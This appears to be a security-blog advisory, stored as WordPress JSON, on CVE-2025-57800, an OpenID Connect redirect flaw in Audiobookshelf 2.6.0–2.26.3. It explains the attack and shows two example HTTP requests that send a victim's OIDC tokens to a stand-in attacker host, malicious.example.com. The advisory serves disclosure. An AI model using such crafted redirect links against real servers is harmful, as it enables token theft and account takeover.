{"id":69783,"date":"2025-09-01T04:16:11","date_gmt":"2025-09-01T04:16:11","guid":{"rendered":""},"modified":"2025-09-06T17:55:49","modified_gmt":"2025-09-06T23:55:49","slug":"cve-2025-57800-openid-connect-authentication-bypass-in-audiobookshelf","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-57800-openid-connect-authentication-bypass-in-audiobookshelf\/","title":{"rendered":"CVE-2025-57800: OpenID Connect Authentication Bypass in Audiobookshelf<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The world of cybersecurity is constantly evolving. One of the latest vulnerabilities to be exposed is CVE-2025-57800, a critical vulnerability that affects the Audiobookshelf application. This vulnerability, if exploited, can lead to serious consequences including system<\/a> compromise and data leakage. Given the severity of this vulnerability<\/a> and the widespread use of the Audiobookshelf, this issue warrants urgent attention and immediate action.
\nThis vulnerability specifically affects the Audiobookshelf versions<\/a> from 2.6.0 to 2.26.3 when using OpenID Connect (OIDC) for authentication. It’s important to note that no Identity Provider (IdP) misconfiguration is required for this vulnerability<\/a> to be exploited, meaning any implementation of Audiobookshelf that uses OIDC could be at risk.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-57800
\nSeverity: High (8.8 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: System compromise<\/a> and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Audiobookshelf | 2.6.0 – 2.26.3<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit operates by manipulating the redirect callback URLs during the OIDC authentication process. The attacker crafts a malicious login link that, once clicked by the unsuspecting user, prompts Audiobookshelf to store an arbitrary callback in a cookie. This callback is later used to redirect the user post-authentication.
\nThe server then issues a 302 redirect to the attacker’s controlled<\/a> URL, appending sensitive OIDC tokens as query parameters. This allows the attacker to intercept the victim’s tokens, potentially leading<\/a> to a full account takeover. If the victim happens to be an administrator, the attacker could create persistent admin users, thereby amplifying the damage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a simplified conceptual example to illustrate how this exploit might work. Let’s assume that the attacker has crafted a malicious login link:<\/p>\n

GET \/login?redirect=https:\/\/malicious.example.com\/callback HTTP\/1.1\nHost: vulnerable-audiobookshelf.com<\/code><\/pre>\n
The victim clicks the link and logs in, unaware that they are being redirected to an attacker-controlled site:<\/p>\n
GET \/callback?id_token=eyJhbG... HTTP\/1.1\nHost: malicious.example.com<\/code><\/pre>\n
The attacker now has access<\/a> to the victim’s tokens, which opens up a host of damaging possibilities, including account takeover and data theft.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The world of cybersecurity is constantly evolving. One of the latest vulnerabilities to be exposed is CVE-2025-57800, a critical vulnerability that affects the Audiobookshelf application. This vulnerability, if exploited, can lead to serious consequences including system compromise and data leakage. Given the severity of this vulnerability and the widespread use of the Audiobookshelf, this […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[75],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-69783","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-authentication-bypass"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t